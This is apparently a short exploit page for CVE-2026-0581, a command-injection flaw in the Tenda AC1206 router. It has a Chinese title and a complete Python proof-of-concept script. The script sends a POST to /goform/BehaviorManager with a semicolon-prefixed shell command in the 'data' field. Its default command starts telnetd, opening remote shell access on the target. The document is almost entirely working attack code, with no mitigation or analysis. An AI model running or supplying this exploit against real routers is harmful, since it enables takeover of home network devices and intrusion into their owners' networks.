CVE-2026-0581 Tenda AC1206路由器 formBehaviorManager命令注入漏洞

#!/usr/bin/env python3 """ CVE-2026-0581 PoC - Tenda AC1206 Command Injection Affected: Tenda AC1206 Firmware 15.03.06.23 Vulnerable Endpoint: /goform/BehaviorManager Vulnerable Parameters: modulename, option, data, switch """ import requests import sys import argparse def exploit(target_ip, command): """ Exploit command injection in Tenda AC1206 """ url = f"http://{target_ip}/goform/BehaviorManager" # Payload construction - inject command via 'data' parameter # Using semicolon to chain commands payload = f";{command}" data = { 'modulename': 'test', 'option': 'test', 'data': payload, 'switch': 'test' } try: print(f"[*] Sending exploit to {target_ip}") print(f"[*] Command: {command}") response = requests.post(url, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): parser = argparse.ArgumentParser(description='CVE-2026-0581 Exploit') parser.add_argument('target', help='Target IP address') parser.add_argument('-c', '--command', default='telnetd', help='Command to execute (default: telnetd)') args = parser.parse_args() print("="*60) print("CVE-2026-0581 - Tenda AC1206 Command Injection") print("="*60) result = exploit(args.target, args.command) if result: print("\n[+] Exploit sent successfully") print(f"Response: {result[:200]}...") if __name__ == '__main__': main()